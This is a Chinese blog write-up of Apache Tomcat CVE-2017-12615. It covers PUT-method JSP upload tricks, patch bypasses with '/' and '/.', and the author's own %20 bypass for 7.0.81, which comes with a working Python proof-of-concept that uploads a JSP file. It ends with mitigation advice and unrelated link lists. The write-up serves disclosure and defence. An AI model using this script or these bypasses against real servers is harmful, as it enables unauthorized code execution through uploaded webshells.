0x00 漏洞简介

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞。

漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。

其中 远程代码执行漏洞(CVE-2017-12615)

影响: Apache Tomcat 7.0.0 - 7.0.79

漏洞触发条件:

1,tomcat得架设在windows主机上

2,将readonly由默认值true设置为false。(开启http PUT 方法)

攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

该漏洞由360观星实验室发现并提交。

官方在确认漏洞并在tomcat 7.0.81中修复。

0x01 漏洞演绎:漏洞复现

需要的环境:

1,tomcat 版本低于7.0.81

2,burpsuite

官网上在7.0.81出来之后就找不到低于该版本的了,在csdn下了一个7.0.65的免安装版。

jdk的配置与及环境变量的配置就不多说了。配置好conf/web.xml的readonly 为 false。如下图

startup启动tomcat,环境就算搭好了。

漏洞利用姿势有两种:

1,利用windows对文件名的要求特性。倘若文件名最后的一个字符是空格或者点号,会被自动去掉。

利用空格

利用点号

2,利用windows的ntfs文件流特性。关于文件流请看这里(https://msdn.microsoft.com/en-us/library/dn393272.aspx)

至于原理可以参考先知的分析(http://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)

0x02 漏洞演绎:bypass 补丁

在各方大佬对官方的的补丁进行分析,fuzz之后,发现了在文件名后加多一个'/' 或者'/.',可以直接bypass 补丁,攻击范围也从仅限于的windows扩展到windows和linux,漏洞影响版本也从仅影响7.x版本,直接日穿5.x到9.x所有版本。

漏洞影响:

版本:5.x-9.x

平台:windows,linux

bypass 补丁环境准备:

1,tomcat 7.0.81

2,burpsuite

修改好readonly,开始测试。

利用'/'

 利用'/.'

 0x03 漏洞演绎:我的bypass

在对多个版本进行复现,测试的时候,我也发现了一个'bypass',有些鸡肋,充其量应该算是补丁的缺陷吧。

1,版本仅限于7.0.81;

2,平台仅限于windows;

bypass 思路:先put请求一个服务器上面存在的jsp文件,如index.jsp%20,再put 我们自己的shell.jsp%20,神奇的发现创建了shell.jsp。测试了很久,发现只有%20可以过。

比如tomcat服务器上肯定存在index.jsp。

先put index.jsp%20 ,提示409

再put shell.jsp%20,可以发现成功创建了shell.jsp

在用burpsuite测试的时候,时不时会过不了。

写了个脚本,思路就清晰了不少。

 #-*- coding:utf-8 -*-

 import requests
import sys
import random body = '<%out.println("hello ! This is my bypass shell");%>' urltemp = 'http://'+sys.argv[1]+'/index.jsp%20' # put the exists jsp,like the index.jsp
shellname = 'shell'+str(random.randint(1000,10000)) urlpoc = 'http://'+sys.argv[1]+'/'+shellname+'.jsp%20' urlnormal = 'http://'+sys.argv[1]+'/'+shellname+'.jsp' requests.put(urltemp,body) response = requests.put(urlpoc,body) code = response.status_code if code== 201:
print 'shell create'; response = requests.get(urlnormal)
code = response.status_code
if code == 200:
print 'Your shell: '+urlnormal

脚本是稳定的:

至于为什么会出现这种问题,得好好跟一下才知道了~~

0x04 修复方案

认真检查tomcat 配置是否设置了readonly为false或者是否启用了PUT方法,设置readonly为true,禁用PUT方法!!

留意官方的最新补丁,及时升级!!

参考文章:

1,Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass(http://www.freebuf.com/vuls/148283.html)

2,Tomcat信息泄漏和远程代码执行漏洞分析报告(CVE-2017-12615/CVE-2017-12616)(https://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)

Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass的更多相关文章

  1. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  2. 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  3. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  4. 【研究】Tomcat远程代码执行漏洞(CVE-2017-12615)

    一.Tomcat远程代码执行漏洞(CVE-2017-12615) 1.1       实验环境 操作机:windows 10                         IP:192.168.1. ...

  5. Tomcat远程代码执行漏洞(CVE-2017-12615)修复

    一.漏洞介绍 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有Tomcat远程代码执行漏洞,当存在漏洞的Tomcat运行在Windwos主机上,且启用了HTTP ...

  6. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

  7. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  8. WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞

    漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...

  9. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

随机推荐

  1. JVM 调优总结

    避免FullGC: 1.通过调整堆中新生代和幸存代大小,避免因为幸存代不足而让Minor GC后的对象进入老年代.每次Minor GC都有对象进入老年代会造成数次MinorGC后FullGC. 2.减 ...

  2. 2017-4-25/设计缓存(LFU)

    1. 恒定缓存性能有哪些因素? 命中率.缓存更新策略.缓存最大数据量. 命中率:指请求缓存次数和缓存返回正确结果次数的比例.比例越高,缓存的使用率越高,用来衡量缓存机智的好坏和效率.如果数据频繁更新, ...

  3. 博文Contents<451--到999—>

    积分=排名>2017-05-15这一天还真是厉害了.让我等了5个月时间... 前言:博客中的随笔文章.并非都是笔者的原创文章.有些是听别人说的.有些是书上摘录的.有些是百度的.有些是别人博客的文 ...

  4. vue.js移动端app实战3:从一个购物车入门vuex

    什么是vuex? 官方的解释是:Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式.它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化. 简单来说就 ...

  5. 【javascript】异步编年史,从“纯回调”到Promise

    异步和分块——程序的分块执行   一开始学习javascript的时候, 我对异步的概念一脸懵逼, 因为当时百度了很多文章,但很多各种文章不负责任的把笼统的描述混杂在一起,让我对这个 JS中的重要概念 ...

  6. Spring Data Jpa(Hibernate) OneToMany

    这个其实非常简单.假设有topic 和 subscriber两个实体类,不考虑关联关系,则连个类的代码如下: /** * Created by csonezp on 2017/8/31. */ @En ...

  7. struts2-Action处理请求参数

    struts2 和 MVC 定义关系 StrutsPrepareAndExecuteFilter : 控制器 JSP : 视图 Action : 可以作为模型,也可以是控制器 struts2 Acti ...

  8. 浏览器F12进行Web程序调试

    转自http://www.cnblogs.com/yougewe/p/5152700.html 引语:如今的整个Web开发行业甚至说整个软件开发行业,已经相当成熟,基本上已经很少找不到没有前人做过的东 ...

  9. Servlet之文件的上传与下载

    文件上传和文件下载是我们学JAVA Web时必不可少的模块.今天我们探讨下这个问题 文件上传: request.setCharacterEncoding("utf-8");//设置 ...

  10. python学习总结(函数进阶)

    -------------------程序运行原理------------------- 1.模块的内建__name__属性,主模块其值为__main__,导入模块其值为模块名     1.创建时间, ...